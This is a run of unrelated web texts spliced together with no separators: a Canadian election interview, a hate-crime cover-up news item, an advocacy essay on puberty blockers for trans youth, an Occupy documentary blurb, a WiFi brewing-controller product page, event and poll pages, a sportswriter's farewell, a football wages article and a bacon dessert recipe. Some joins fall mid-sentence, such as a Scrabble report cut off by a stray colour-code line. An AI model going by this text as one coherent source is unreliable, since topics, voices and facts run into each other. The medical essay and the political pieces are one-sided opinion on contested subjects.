Robert Bothwell (RB): It’s true most of the time. The phrase is ‘oppositions don’t win elections, governments defeat themselves,’ and never has that been more true than with Harper. [laughs] I’m only surprised that it didn’t happen several elections ago.
TV: Susan Delacourt wrote a book two years ago that described Canadian voters in the twenty-first century as taxpayers rather than citizens, voting selfishly rather than in the national interest. Did this election repudiate that idea?
RB: This election wasn’t about personal gain, I really don’t think so. Harper of course probably was the most cynical Prime Minister in Canadian history. Every political season he would drop goodies to this section or that section and he was no different this time… I think that theoretically people wish for a world where there’s no taxation, he’s not stupid to believe that, but in this case a lot of Canadians voted against their own self-interest. It’s clear that people in higher tax brackets who voted Liberal were voting for higher taxes on themselves, and many people did. Harper would be very disappointed in this; he really does see economic self-interest as a primary motivator, and sometimes that is true, but not universally. Canadians were voting against the spirit of the last ten years. They were voting against meanness and nastiness, voting against the abuse of the political system. For most Canadians it was an unease that someone like Harper epitomized and represented, and the reaction was just ‘enough!’
TV: Would you characterize Harper’s time in office as transformative?
RB: It certainly represented a huge difference in policy, no question, [but] I think also a huge difference in spirit and zeitgeist. Curiously, the same thing was said about the Diefenbaker government in 1963. The ‘63 election was very largely about Canadians wanting to go back to the past. Wanting to go back to the past is a serious motivation in politics… [there] is a parallel, but there are many differences too. Diefenbaker had a half-decent cabinet. This guy had, with one or two exceptions, a bunch of stooges, and their relationship to him was essentially that os soldier to captain, trying to show off allegiance. Tolkien would call them Ringwraiths, surrendering their souls in return for power. It’s not hard to compare Harper to Sauron though.
It’s not hard to compare Harper to Sauron though.
TV: Earlier you mentioned Canadians voting against Diefenbaker for things to go back to the way they were. Was the vote for the Liberals as opposed to the NDP any indication that Canadians wanted something familiar back?
RB: Well, the NDP promised a new vision [but] with the economics of [1930s Prime Minister] R.B. Bennett. That’s what really got me. In the Globe and Mail, [former Québec premier] Jean Charest referred to Mulcair as being on the right wing of his provincial cabinet in Québec, and his personal system of economics being deficit reduction or abolition. I guess Mulcair really believes [in it]. What struck me about Justin and company was that they obviously had been paying attention to what progressive economists have been writing, and I’m sure that’s true of many members of the party as well. Trudeau’s vision of progressive economics is of the twenty-first century, whereas the other guys were back in the desperately erroneous economics of the 1930s, which was horrifying to see. Mulcair’s strategy was basically ‘extend foot, wiggle toe, fire!’ [laughs] Silly.
Mulcair’s strategy was basically ‘extend foot, wiggle toe, fire!’
TV: Would you say that the NDP’s balanced budget promise wasn’t a mistaken attempt to expand their lead by luring moderate Conservatives?
RB: Mulcair made the same mistake that Horwath made in the 2014 [Ontario provincial] election…` Wynne’s election strategy in 2014 was bang on and she understood something about the Liberal party: the Liberals depend on progressive voters. She cut the knees out under Horwath, and Justin did the same thing to Mulcair. We don’t know for sure whether it’s conviction or just good politics, but if the Liberals are going to survive they have to survive as a progressive party, not as a pale imitation of the Conservatives… You can’t ignore your progressive base because you’ll turn around to find that they aren’t behind you anymore… In the 1988 election, Ed Harris was going to bring the NDP to the top and send the Liberals off to the pit of hell. The way to beat the NDP, then as now, is to go left, because when the NDP thinks that it’s close to power it begins to behave in a quite conservative way. Mulcair said things on the campaign that, aside from being untrue, were calculated to offend the NDP’s supporters.
TV: If that’s true, how can Trudeau maintain supporters who voted for him strategically against Harper?
RB: If Trudeau is wise, and there’s no reason to think he isn’t, tactically he should be congenial to the NDP. There are members of the NDP who aren’t far from the Liberals in their policies… One thing that has to be done to the Parliament is to reform the rules of the House [of Commons}. Now this sounds terribly tedious, but it really is what would destroy Harper’s legacy. [Harper] obviously had a contempt for Parliament… Between the strangling of debate in Parliament [and] the treating of Parliament as less than a photo-op — all of that has to come to an end. That would restore our most valuable traditions, because without them we don’t have responsible government; under Harper we certainly didn’t, once he got a majority he just did what he damn well pleased. Ideally that should be done with the full cooperation of the NDP… This would be a root and branch repudiation of the way the Conservatives wielded power. In a way that’s more important than the policies.
If Trudeau is wise, and there’s no reason to think he isn’t, tactically he should be congenial to the NDP.
TV: Does Harper’s stripping away of those traditions make it easier for Trudeau to succeed?
RB: Yes, I think that it does. I’m continually flabbergasted at the way Harper behaved; he had so many characteristics that were obviously undesirable. Trudeau is clearly very different, and I have every expectation that he’ll change the whole style.
TV: With all the talk of restoring Canadian traditions, will this country be able to return to the supposed glory days of peaceful foreign engagement?
RB: I believe that our foreign policy and our military policy should work together, and they should be effective. I believe that Canada should participate in international coalitions. I also believe that they have to have a point and be effective. That is very much a Canadian tradition. The first question we should ask is ‘does it work’ We have a reputation for that. We used to be pragmatic… Harper sees the world in bright primary colours. Going into his mind is like reading a comic book: POW! BANG! ZOWIE! Canada should be a competent, constructive, pragmatic, intelligent, practical force in international affairs. Boy, do I believe that. It’s on that basis that Canadians are respected abroad. Not because they had big ideas about peacekeeping, but because they were prepared to do something practical. For the first time in years I’m actually telling young people that working for the government is a worthwhile career.
This interview has been edited for clarity and length.
Correction (October 28, 2015): An earlier version of this article incorrectly stated that Professor Bothwell is the Director of Trinity College’s International Relations program.(CN) – Two Pennsylvania police officials were convicted Friday of covering up a hate crime – the beating death of a Mexican immigrant by white high school football players.
The young men who beat Luis Ramirez to death in July 2008 skated through state charges in a jury trial decided by a reportedly all-white jury, but two of the four assailants were convicted on federal hate crime charges, which could carry a life sentence, in October 2010.
Matthew Nestor, who was chief of the Shenandoah, Pa., police department at the time of the murder, was convicted Friday of filing a false report to mislead the investigation, Justice Department officials say.
Former police Lt. William Moyer was convicted of lying to the FBI after he misreported the statements of witnesses to the crime.
Nestor faces a 20-year sentence, while Moyer faces five. The jury acquitted a former police officer, reportedly dating the mother of one of the assailants, who had been charged with obstructing justice.
The two attackers convicted of hate crimes, Derrick Donchak and Brandon Piekarsky, are scheduled to be sentenced in February, after the original sentencing date was pushed back in anticipation of today’s verdict.
Like this: Like Loading...Previously: Transgender youth fact check, Debunking hypothetical arguments about youth transition
In the public conversation over the use of puberty blockers for adolescents with gender dysphoria, those who object to this treatment often express concerns about the ability of these youth to make such a significant medical decision. Such objections often call into question adolescents’ maturity and their capacity to understand potentially permanent consequences:
If a child is too young to drive a car, get a tattoo, vote, buy a drink at a bar, then they are too young to decide to make life altering decisions like transitioning. (YouTube user legacy1X, Apr 25, 2017)
Others emphasize specific impacts to these youth such as fertility loss, holding that this is unacceptable under any circumstances:
There is no good argument that allowing children to permanently modify their bodies and sterilize themselves is ethical. NONE. (YouTube user Blaire White, Dec 19, 2016)
While parallels to tattooing and other “life-altering decisions” might intuitively resonate for many, these superficial comparisons do not hold up on closer analysis, and do not reflect the expert consensus on the appropriate use of puberty blockers for trans youth. Potential ethical considerations and the importance of informed consent are recognized by professionals involved in the treatment of these adolescents, and these concerns have been addressed at length.
How puberty blockers are used for trans youth
Characterizing the use of puberty blockers as a “life-altering” or “permanent” decision inaccurately represents the treatment pathway followed by adolescents who are given these medications. Blockers are typically used near the onset of puberty, at Tanner stage 2 or 3, and temporarily prevent the further development of secondary sex characteristics, such as a deep voice and facial hair in trans girls or breast development in trans boys (Shumer & Spack, 2013):
Suppression allows time for the patient to socially transition to the desired sex and confirm the persistence of GID. In addition, adolescents with persisting GID often experience worsening sex dysphoria with the development of their undesired biologic puberty, and suppression can reduce this dysphoria. Finally, by suppressing puberty, the patient avoids irreversible body changes such as facial hair growth, voice change, an Adam’s apple and a male facial bone structure in boys [trans girls], breast development in girls [trans boys] and body shape changes in both sexes.
Adolescents can continue to take blockers until either choosing to stop, which allows their original puberty to resume, or starting cross-sex hormones (estrogen or testosterone) to induce the puberty of their desired gender with appropriate secondary sex characteristics. Puberty blockers do not result in permanent fertility loss, which only occurs if adolescents opt to continue onto cross-sex hormones a few years later. Instead, delaying puberty allows more time for them to consider their options:
Spack, however, is quick to point out that there is no risk of infertility from the hormone-blocking treatment alone. Infertility only comes when the hormone-blocking treatment is paired with Stage 2, the use of opposite-sex hormones. And so, Spack says, hormone blockers should really be seen simply as a treatment that gives families more time to think about what to do. “It’s a lot different to be talking to a 14-, 15-, 16-year-old about the implications of this than a 10- to 12-year-old,” he says. “And so it buys you time … without the tremendous fear of their body getting out of control.”
Contrary to descriptions of puberty blockers as “permanent” in their effects on adolescents, this treatment is being used to halt a process that is already taking place and inducing permanent bodily changes: their original puberty. The physical development associated with the initial, “wrong” puberty can be intensely distressing to these youth. Crucially, allowing their initial puberty to take place unhindered would mean that these permanent changes will happen at an earlier age and without any form of consent being given. Adolescents on puberty blockers, however, are given much more time to consider whether transitioning or undergoing their original puberty is the most appropriate path for them, without feeling pressured by impending permanent changes that are out of their control (de Vries & Cohen-Kettenis, 2012):
Puberty suppression has two aims. First and foremost, they offer the adolescent time to smoothly explore his or her gender identity and to find out if a gender reassignment trajectory is really what the youth wants. Moreover, the knowledge that their bodies in this stage will not continue to develop in the undesired direction often results in a vast reduction of the distress they have been suffering from since the onset of puberty.
It makes no sense to object to treatment with puberty blockers on the grounds of permanent effects – this protocol serves to forestall permanent changes by bringing them under the monitoring and control of a precautionary framework designed to meet the needs of adolescents with gender dysphoria. And a wholesale objection to permanent changes would even more strongly condemn choosing not to act: withholding blockers would result in these youth experiencing the permanent changes of puberty at even younger ages.
Weighing benefits and harms of treatment and non-treatment
A narrow focus on the permanence of effects also disregards other ethical considerations that are taken into account when making these choices for gender-dysphoric adolescents. The nature of these permanent effects, and their accompanying benefits and harms, must be weighed as well. Appropriately diagnosed youth are known to be highly likely to benefit from treatment with puberty blockers, and likely to be at risk of negative outcomes without this treatment (Crall & Jackson, 2016):
The best available evidence, along with decades of clinical experience, indicates that effective hormone therapy has a positive effect on psychological and quality of life outcomes in transgender people.... The causal pathway to higher rates of mental illness in transgender youth is illuminated by a recent study, which found that socially transitioned transgender children who are supported in their gender identity have developmentally normal levels of depression and only minimal elevations in anxiety compared to other children their age. This finding suggests that psychopathology within this group is a product of poor social acceptance rather than an intrinsic part of transgender identity. Pubertal suppression and hormone therapy are the chief tools physicians have at their disposal for minimizing a transgender patient’s risk of suffering adverse mental health outcomes.
The health consequences of not blocking puberty, thus leaving their gender dysphoria untreated, can be wide-ranging (Radix & Silva, 2014):
For these transgender adolescents, forcing them to undergo puberty in their natal sex can result in severe dysphoria, depression, suicidality, and self-harming behaviors.
Researchers and clinicians, including those who first introduced puberty blockers as a treatment for trans youth (Cohen-Kettenis, Delemarre-van de Waal, & Gooren, 2008), have noted that withholding treatment is not a neutral or “default” choice:
Finally, in judging the desirability of hormonal pubertal suppression as a first but reversible phase in the sex reassignment procedure, one should not only take consequences of the intervention into account. Rather, one should also consider the consequences of nontreatment. Nonintervention is not a neutral option, but has clear negative lifelong consequences for the quality of life of those individuals who had to wait for treatment until after puberty.
Likewise, bioethicists have stated that evaluating the ethics of this treatment requires recognizing the likely results of not receiving treatment (Giordano, 2008):
Whether or not the administration of puberty suppressant drugs is ethical depends not only on the net balance of clinical risks and benefits of treatment, but also on what is likely to happen to the child if s/he is not treated at the early stages of puberty. On balance, healthcare providers should include future physical risks (invasiveness of future surgery), and the psychological and relational/social risks (disgust for the self; social integration; risk of suicide). Healthcare providers are ethically (and to some extent legally) responsible for what is likely to happen to the applicant as a consequence of the fact that treatment has been withheld.
The analogy to the permanence of tattooing fails to capture the essential characteristics of the situation facing trans youth. Having a condition which requires treatment is not a matter of choice – while “we don’t let kids get tattoos” is clear in its meaning, saying “we don’t let kids have conditions in need of medical treatment” would be nonsensical. Gender dysphoria isn’t something which youth can simply decide not to have, nor can those with dysphoria opt out of the negative health impacts of not receiving puberty blockers. The comparison of a health condition to the choice to get a tattoo is flippant and dismissive of these real harms – harms which can be successfully mitigated using treatment with blockers. If tattoos were shown to provide the same degree of medical benefit to appropriately diagnosed youth, the ethics of tattooing children would be seen in a rather different light.
Medical professionals guide the decision-making process
These arguments also falsely depict the decision of whether to administer puberty blockers as being made solely by the child. In practice, a team of specialists evaluates each case extensively before making any decisions about treatment. The Netherlands clinic describes an assessment process involving the adolescent, their parents, psychologists, and psychiatrists (Delemarre-van de Waal & Cohen-Kettenis, 2006):
In the first diagnostic phase, information must be obtained from both the adolescent and the parents on various aspects of general and psychosexual development of the adolescent, the adolescent’s current functioning and functioning of the family. Standardized psychological assessment is a part of the procedure. The patient is always seen by two members of the gender team. If a child and adolescent psychologist makes the diagnosis, the child is also seen by a child and adolescent psychiatrist and vice versa.... Since the diagnostic procedure is lengthy, there is ample time for patient, the family and the psychologist or psychiatrist to make the final decision.
The GeMS clinic for trans youth at Boston Children’s Hospital also includes parents, psychologists, psychiatrists, social workers, and endocrinologists as part of a comprehensive diagnostic process (Spack et al., 2012):
Beginning in 2009, individuals seeking care were triaged via telephone by the social worker, who obtained information about basic demographics, psychosocial functioning, and existing mental health supports. A letter sent to each referring therapist asked for information about their background, philosophy, and experience with GID; their patient’s history and supports; and mental health concerns.... Patients considered eligible for medical intervention (GnRH analogs and/or cross-sex hormones), first met with a psychologist, along with their parents, for a gender-identity–focused, structured, comprehensive clinical interview and psychometric testing. The psychological protocol was adapted from the Adolescent Gender Identity Research network to assess the degree of gender dysphoria, coexisting psychiatric conditions, and psychosocial stability. They next saw the pediatric endocrinologist, who took a full history, performed a physical exam, and ordered relevant blood tests and bone age films.... In 2009, the GeMS program expanded its original staff composition to include social work and psychiatric services.
Far from being a spur-of-the-moment choice made by a child and subject to no further review, numerous professionals who specialize in working with trans youth are involved long before any decision to start treatment is made. Children are not making this choice – adults are. These clinicians are the ones who must give the go-ahead to begin puberty blockers.
Youth can offer informed consent to puberty blockers
Moreover, doctors working with trans youth do recognize the importance of ensuring that these patients offer informed consent to treatment with blockers, with an appropriate understanding of what this choice entails. While the ability to offer informed consent can depend on an individual child’s maturity level, clinicians consider most youth to be capable of making this decision. Researchers at the Netherlands clinic describe this consent as an ongoing process throughout evaluation and treatment (Cohen-Kettenis et al., 2008):
Naturally, in order to give valid consent, the applicant must receive as complete as possible information about treatment, and has to be informed about the unknown risks of each stage of therapy. The person will then consider and weigh the unknown risks of treatment and the potential benefits on one side, and all the known psychological and physical effects of nontreatment on the other. It will be clear that in the case of a complex treatment such as SR [sex reassignment], informed consent is not given at a single point in time. Rather, it is a process during which the adolescent is progressively more able to understand what the decision is all about.
Version 7 of the WPATH Standards of Care states that obtaining informed consent – potentially requiring the involvement of parents or guardians – is necessary in order for youth to receive blockers (Coleman et al., 2011):
In order for adolescents to receive puberty suppressing hormones, the following minimum criteria must be met:... The adolescent has given informed consent and, particularly when the adolescent has not reached the age of medical consent, the parents or other caretakers or guardians have consented to the treatment and are involved in supporting the adolescent throughout the treatment process.
Bioethicists also consider trans youth to be able to offer consent after being fully informed about the likely outcomes of treatment and non-treatment (Giordano, 2008):
In order to give valid consent, applicants need to receive honest information about known and potential risks and benefits of the treatment. In the balance, the applicant (often with the help of his/her parents) will weigh the known and potential risks and benefits of treatment with the known psychological and physical effects of non-treatment. There is no reason to regard consent thus obtained as invalid. It is not necessarily unethical to treat children within an experimental monitored programme. Indeed, it might be unethical to deny what is for many the only possible cure. If this cure was likely to cause significant harm to the child, it would be appropriate to question its legitimacy even in the face of the child’s competence and informed consent, but research shows that SP [suspension of puberty] appears to have no hideous or non-controllable side effects.
Further, the issue of fertility loss due to use of puberty blockers is explicitly acknowledged by doctors and counselors. The Endocrine Society’s guidelines for treatment of transgender patients recommend that professionals and other adults assist adolescents in understanding the future implications of this treatment (Hembree et al., 2009):
Persons considering hormone use for sex reassignment need adequate information about sex reassignment in general and about fertility effects of hormone treatment in particular to make an informed and balanced decision about this treatment. Because early adolescents may not feel qualified to make decisions about fertility and may not fully understand the potential effects of hormones, consent and protocol education should include parents, the referring MHP(s) [mental health providers], and other members of the adolescent’s support group.
In their Guidelines for Psychological Practice With Transgender and Gender Nonconforming People, the American Psychological Association (2015) advises psychologists to take an active role in ensuring that trans adolescents grasp the impact of blockers on their fertility:
When TGNC [transgender and gender nonconforming] people consider beginning hormone therapy, psychologists may engage them in a conversation about the possibly permanent effects on fertility to better prepare TGNC people to make a fully informed decision. This may be of special importance with TGNC adolescents and young adults who often feel that family planning or loss of fertility is not a significant concern in their current daily lives, and therefore disregard the long-term reproductive implications of hormone therapy or surgery.... Psychologists may play a critical role in educating TGNC adolescents and young adults and their parents about the long-term effects of medical interventions on fertility and assist them in offering informed consent prior to pursuing such interventions.
Pediatric endocrinologists working with trans adolescents have also noted that youth and their families generally consider the loss of fertility to be less important than the benefits of treatment (Shumer, Nokoff, & Spack, 2016):
It is important that families receive counseling regarding the fertility effects of GnRH agonists and cross-sex hormones. A child who starts on GnRH agonist therapy at SMR [sexual maturity rating] stage 2 and continues on the medication as cross-sex hormones are introduced later in adolescence will never have spermatogenesis or menarche, and will not have the opportunity to bank gametes using cryopreservation. Yet for many patients and families, after appropriate informed consent, the benefits of pubertal suppression still outweigh the risks.
Popular arguments depicting youth transition as an inappropriately permanent choice, made solely by unready children and adolescents and irresponsibly enabled by adults, offer a highly distorted portrayal of the medical realities facing transgender kids. These youth aren’t given the option of having gender dysphoria or not – only the option of treating their gender dysphoria or not. Numerous studies in specialized clinics for trans kids have shown that those who receive treatment with puberty blockers experience measurable benefits to their mental health, functioning, and quality of life. Conversely, gender-dysphoric youth who are denied this treatment are likely to suffer a variety of negative health outcomes including depression, self-harm, and suicidality.
Trans kids are confronted with these permanent consequences regardless of their readiness for this, and this is why they receive in-depth consultation with specialists throughout the process of diagnosis and treatment. Puberty-blocking treatment for trans youth is far from an irresponsible and impulsive decision. It is the most responsible and deliberate approach to weighing all of these serious concerns and reaching a suitable conclusion for each child based on their personal needs and the long-term impact on their life. ■
ReferencesA documentary about the Occupy Wall Street, hacktivism, and the hackerstrying to build a distributed network for the Occupy movement and beyond. You’re on the Internet. What does that mean? Most likely, it means one of a handful of telecommunications providers is middlemanning your information from Point A to Point B. Fire...
A documentary about the Occupy Wall Street, hacktivism, and the hackerstrying to build a distributed network for the Occupy movement and beyond.
You’re on the Internet. What does that mean? Most likely, it means one of a handful of telecommunications providers is middlemanning your information from Point A to Point B.
Fire off an email or a tweet, broadcast a livestream or upload video to YouTube, and you’re relying on vast networks of fiber optic cables deep underground and undersea, working with satellites high above, to move your data around the world, and to bring the world to your fingertips.
It’s an infrastructure largely out of sight and mind. AT&T, Level 3, Hurricane Electric, Tata Indicom – to most these are simply invisible magicians performing the act of getting one online and kicking. To many open-source advocates, however, these are a few of the big, dirty names responsible for what they see as the Web’s rapid consolidation.
The prospect of an irreparably centralized Internet, a physical Internet in the hands of a shrinking core of so-called Tier 1 transit networks, keeps Isaac Wilder up at night.
Wilder is the 21-year-old co-founder of the Free Network Foundation. Motherboard first caught up with Wilder at Zuccotti Park during the fledgling days of Occupy Wall Street.Missed us on Kickstarter?
Our campaign is over, but you can still get a Model-T.
Order yours today at:
What is it?
BrewBit Model-T is an open source WiFi enabled temperature controller specifically crafted with the homebrewer in mind. It takes homebrewing to the next level giving you ultimate control over your brewing, any time any where.
Its hardware and software are open source so you can hack it and modify it all you want to meet the needs of your brew system, fermentation system or any other project that requires precise control of temperature.
How can it help me make better beer?
Temperature control is often overlooked by many homebrewers, but is actually one of the easiest things you can do to make professional quality beer.
The Model-T will help you keep your fermentation and mash temperatures where you want them to be. Resulting in beer that you can be proud of!
I'm not a brewer, why do I want one?
The device is currently marketed towards brewers but can be used to control power to any electronic device from the unit itself or through BrewBit.com. You do not have to use the temperature probe to control the outputs if you don't want. You can have the outputs turn on and off manually via your command, or even based on time of day etc... With our open source hardware and software architecture the device is extremely hack-able, making the possibilities endless.
Some of the cool non-brewing project ideas that we thought of, several that we have even tried, are:
Solder re-flow oven controller using a toaster oven or hot plate.
Fish tank heating/cooling controller.
Reptile terrarium heating controller.
Control a Crockpot, BBQ, oven, or even a George Foreman grill, helping you cook your meats to perfection.
Make your own electronic meat smoker.
Make your own Sous Vide machine.
Control fans and AC units in your house, workshop etc.
What can it do?
Sample Temperature Profile
Dual outputs - control multiple devices with a single Model-T
Dual temperature probes - control one or both outputs independently
Supports Wall Mounting
Supports Panel Mounting
How does it compare?Proper nouns come into play in Scrabble rule change
Mattel said the use of names will add a "new dimension" to Scrabble The rules of word game Scrabble are being changed for the first time in its history to allow the use of proper nouns, games company Mattel has said. Place names, people's names and company names |
#RRGGBB for all colors.
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None The Trifecta Shindig Bert Entertainment Houston, TX Ticket Information Ticket Type Sales End Price Fee Quantity Karbach Trifecta Shindig 1 hour before event starts $75.00 $5.12 Share The Trifecta Shindig Share Tweet Event Details THE KARBACH BREWERY TRIFECTA SHINDIG Take the tour, enjoy the food, and don't miss the show! AN ALL DAY EVENT OF BEER, FOOD, MAGIC, AND FUN FOR A GOOD CAUSE
Magician & Comedian Robby Bennett performs at Karbach Brewery for an amazing event benefiting Wounded Warrior Project
THE TRIFECTA: 1. Brewery Tour 2. Dinner 3. Show...Yes, dinner comes with the price of your ticket!
***UPDATE: We did make some slight changes to the time table and set-up on Saturday, and will be combining both 'waves.' See The Trifecta Shindig Itinerary here. We will be putting dinner before the tour and finishing with the show.
Houston's premier brewery, Karbach Brewery, will be hosting Houston's premier performer for a great cause. The Wounded Warriors Foundation will be the beneficiaries and guests for The Trifecta Shindig at Karbach Brewery featuring hometown performer, magician and comedian Robby Bennett.
FACEBOOK EVENT PAGE
-August 22 -$75.00 per person (Includes the brewery tour, three course dinner and beer pairings, and the evening show with proceeds benefitting Wounded Warrior Project) -Limited to 75 people per wave. 2 waves. -21+ only. No exceptions. EVENT MENU (Dinner is included with the ticket price)
Already known as the city's favorite brewery to visit, and one of Texas' favorite beers to drink, Karbach Brewery has gone through a massive expansion including an increase in production and a new restaurant and event space on the property - In addition to quenching your thirst, they're now also taking care of visitors' hunger in a high-end, yet casual, fashion. Since the site's founding in 2011, Karbach has grown extensively and has become the favorite brew in any area where it can be found. While Karbach was developing as a top-notch beer band, homegrown magician Robby Bennett was traveling and performing for audiences from Las Vegas to Kampala while keeping his roots in Houston. Bennett began performing professionally at the age of twelve. On August 22nd Robby will perform his spellbinding routines that have left audiences emotionally charged, astounded, and laughing to tears. And to top it off... The Audience is HIS CO-STAR! During the course of one show, Bennett will tell gripping stories and hilarious anecdotes as narrations to astonishing magical feats, alter your conception of time and the impact of your own imagination. “I had to take out my levitation of an infant over burning spikes. It apparently made people too nervous and I got some letters,” says Bennett. Unlike what you might expect from typical a "magic show," Bennett has created the perfect blend of fantasy and comedy which has left audiences on their feet in applause. He has made the typical evening of theater simply DISAPPEAR! HOUSTON PRESS ARTICLE ON ROBBY BENNETT
Wounded Warrior Project® (WWP) serves veterans and service members who incurred a physical or mental injury, illness, or wounds, co-incident to their military service on or after September 11, 2001 and their families. On that date, America watched in horror as approximately 3,000 people died including hundreds of firefighters and rescue workers. Many warriors note a sense of duty to volunteer for the military following these tragic events. Wounded Warrior Project® (WWP) takes a holistic approach when serving warriors and their families to nurture the mind and body, and encourage economic empowerment and engagement. Through a high-touch and interactive approach, WWP hopes to foster the most successful, well-adjusted generation of wounded service members in our nation's history. Karbach will be opening their doors to Wounded Warriors Project and ticketed attendees for a can't-be-missed event featuring a tour of the brewery, dinner and drinks for an evening finishing with two separate evening shows (7pm & 9pm) by magician and comedian Robby Bennett. This is not one to miss! Disclaimer: Ticket buyers will be subject to cooperate with regular restaurant traffic for the meal portion of the event. No reserved seating will be available. Only beer pairings included with dinner.
Have questions about The Trifecta Shindig? When & Where
Karbach Brewing Co.
2032 Karbach Street
Houston, TX 77092
Organizer Bert Entertainment Bert Entertainmnet specializes in developing and managing entertainment productions in all mediums.
View organizer profile 10 past events on EventbriteSeveral speakers, most notably Lieut. Gen. Michael Flynn, led the Republican National Convention audience in chants of "Lock her up!" (in reference to Democratic nominee Hillary Clinton).
Did the RNC speakers cross a line? Is "Lock her up" kinda funny -- or kinda scary?
Many think the chant is hilarious (and much deserved by its target) while other political observers are aghast, calling it extreme, uncivil, and over the line.
Join us on TheTylt.com to share your opinion, vote and see what our community is thinking.
You can also use either of these hashtags on Twitter to vote and we'll feature you on The Tylt. Use #GOPOnPoint if you think the chant "lock her up" is a fair critique or #GOPTooFar if you think the chant crosses a line.
Veteran political observer Josh Marshall of Talking Points Memo thought the repeated chants went too far. To put this in perspective: The chant is about a former first lady and Senator who has been elected to lead the Democratic party. To suggest locking her up before the election is authoritarian and unsettling - out of bounds for mainstream political critique.
Others insist that Clinton has committed many crimes. The chant isn't over the line, Clinton went over the line with illegal behavior and jail would just be the just consequences of her actions. The chant is there because it's relevant.
What do you think? Vote #GOPTooFar or GOPOnPoint
The Tylt is focused on debates and conversations around news, current events and pop culture. We provide our community with the opportunity to share their opinions and vote on topics that matter most to them. We actively engage the community and present meaningful data on the debates and conversations as they progress. The Tylt is a place where your opinion counts, literally. The Tylt is an Advance Digital, Inc. property. Join us on Twitter @TheTylt or on Facebook, we'd love to hear what you have to say.For 14 years, I've been writing about local athletes for the Tribune. Later this month, I'll start a new job at the St. Louis Post-Dispatch. That makes this my last Tribune byline. My final assignment was supposed to be a farewell column.
At this point, I'm pretty sure they can't fire me for insubordination. I'm calling an audible.
This is a thank you column.
Thank you, Kent Heitholt. In 1998, after I'd spent a couple months writing at the Missourian, the Tribune's late sports editor brought me aboard and turned me loose on every team in town. Two years later, Kent changed my life forever one summer afternoon. He handed me the MU football beat, taking his chances on a recent college grad to compete against grizzled beat writers at the bigger papers, reporters with khakis older than my 22 years. Naturally, Kent's offer came over lunch. The dude could punish a late-night appetizer menu. He was taken from us too soon � but never forgotten.
Thank you, Waters family. The Tribune isn't the biggest newspaper in the state, but we've covered MU sports with unmatched ambition and effort. Throughout my time on the MU football beat, Tribune ownership and management have shown a commitment to letting us do what we do best. They've armed Tribune reporters and photographers with precious resources so we can cover the Tigers, home and away, stronger than any outlet in the state. In an unforgiving economy, we've done our jobs without furloughs, with minimal layoffs and always a roof over our heads on the road. (Albeit one memorable fleabag in an unnamed Big 12 town with amenities that included a slice of pizza that never moved from the hallway all weekend and a unclaimed brassiere that lingered in the parking lot. Again, all weekend. OK, it was Lincoln, Neb.)
Thank you, Joe Walljasper. Sportswriters use the word brilliant way too much, but Joe is a brilliant sportswriter. Countless times I've read his column after a game we both covered and slapped myself in the forehead. Why didn't I think of that? The words simply come off the keyboard easier for some. Working alongside Joe is like hitting the driving range with Tiger Woods. Yeah, you're going to shank your share, but you get to share the stage with the game's best.
Oh, yeah, he's the boss, too. And a great one. In 2001, he took on the impossible task of succeeding Heitholt in the most terrible of circumstances, after Kent was senselessly strangled to death in the Tribune parking lot. Joe, then the assistant sports editor, stepped in courageously and did more than kept the copy flowing. His steady leadership helped a team of shattered writers and editors come back to the newsroom and carry on with life and work.
A few years later I was ready for a change and left the Tribune to pursue law school. The deans of admission at several fine institutions had the forethought to put me on their dreaded waitlists. Eventually, I stopped waiting. I thank them, too.
Nine months later, I came back to the Tribune, batteries recharged and groveling for my old job.
And, again, thank you, Joe. My second tour of Tribune duty was special in many ways. As technology evolved, the Tribune explored more ways to cover sports. We launched blogs. We tweeted. We engaged readers in online chats. Joe and I mastered the art of awkward pauses in weekly video webcasts. Along the way, we never lost sight of our primary function, writing about local games, athletes and coaches to the best of our ability.
Lastly, thank you, Tribune readers. I'm grateful for your loyalty to our storytelling � even when a paywall got in the way. Keep supporting your local paper. The work here never stops.
I'll always treasure my time at the Tribune. I wrote about some memorable games, interviewed fascinating people and took home a few awards. But it's the people who give you a chance, support your every step and make you better who mean the most.
For that, I thank you. It was my pleasure.And yet Schweinsteiger and Balotelli — like Joe Hart, the Manchester City goalkeeper who was unceremoniously demoted by Pep Guardiola and is on the verge of a loan move to Torino, which finished in 12th place in Italy’s Serie A last season — offer a sober reminder that there is a flip side to this unrivaled financial firepower.
“There are a handful of teams in the Premier League who are under a lot of pressure to buy players,” said José María Cruz, the chief executive of the Spanish team Sevilla. “They pay a lot of money, and so they need an immediate return on that investment: They need the players to perform straightaway.
“If they do not, they are already looking for a replacement after three or six months. But trying to offload the players who are no longer wanted is very complicated because the salaries are so high. They are not realistic for most clubs in Europe.”
Sevilla, for example, has the fifth-highest player payroll in Spain. Thanks to a run of three successive Europa League victories and qualification for the Champions League, Cruz can approve better salaries than most of his peers. The Premier League market, though, is still too expensive.
That is certainly the case with Schweinsteiger and Hart, both of whom earn more than $200,000 each week. Balotelli makes substantially less, but his £90,000-a-week wages (about $118,000) still rule out a host of teams, particularly for a player so weighed down with baggage.
More troubling, even the likes of Emmanuel Rivière, an unremarkable French striker no longer in the plans at relegated Newcastle, are so richly compensated by their current teams that it is difficult to shed them. At £40,000 a week — just over $52,000 — Rivière earns almost twice as much at Newcastle as any of the clubs who might be tempted to sign him could afford to pay. As Wenger says, there are now effectively “two markets, one for the English clubs and one for the rest of Europe.”
To Cruz, there are two possible solutions for clubs and players trapped in dead-money relationships. One is China, where the country’s cash-soaked Super League clubs are prepared to meet — and even improve, in some cases — the pay on offer in England. The other is an increase in subsidized loan arrangements. The only way to take players coming out of the Premier League, Cruz said, “is to share their wages.”BACON’S near-ubiquity has only occasionally extended to the dessert tray, but maybe it’s not a bad idea. I’ve been offered candied bacon a couple of times in the past year, and it got me thinking of a trail of ingredients. Bacon is, after all, a close cousin to lard, and lard makes a significant contribution to the best pie crusts. (You may not know it, but if you find most pie crusts disappointing, it’s a lack of lard, or butter, or both.)
Photo
And anyone who has “accidentally” or intentionally drizzled maple syrup over their bacon knows about the affinity it has for sweetness. All of which led me here: candied bacon and cooked apples, à la mode. No crusts to make, an unusually meaty and chewy element, an oddly wonderful combo.
Needless to say, you’re going to want to start with the best bacon you can get your hands on. You cook small chunks of it until the outside browns and the bacon renders some of its fat. At that point, you add some sugar, which further caramelizes the exterior while the inside retains some of its meaty integrity. Remember that sugar goes from caramel to burnt very quickly, so you have to pay attention. What you want is for the sugar to melt and coat the bacon; it’ll become more crunchy as it cools.
Video
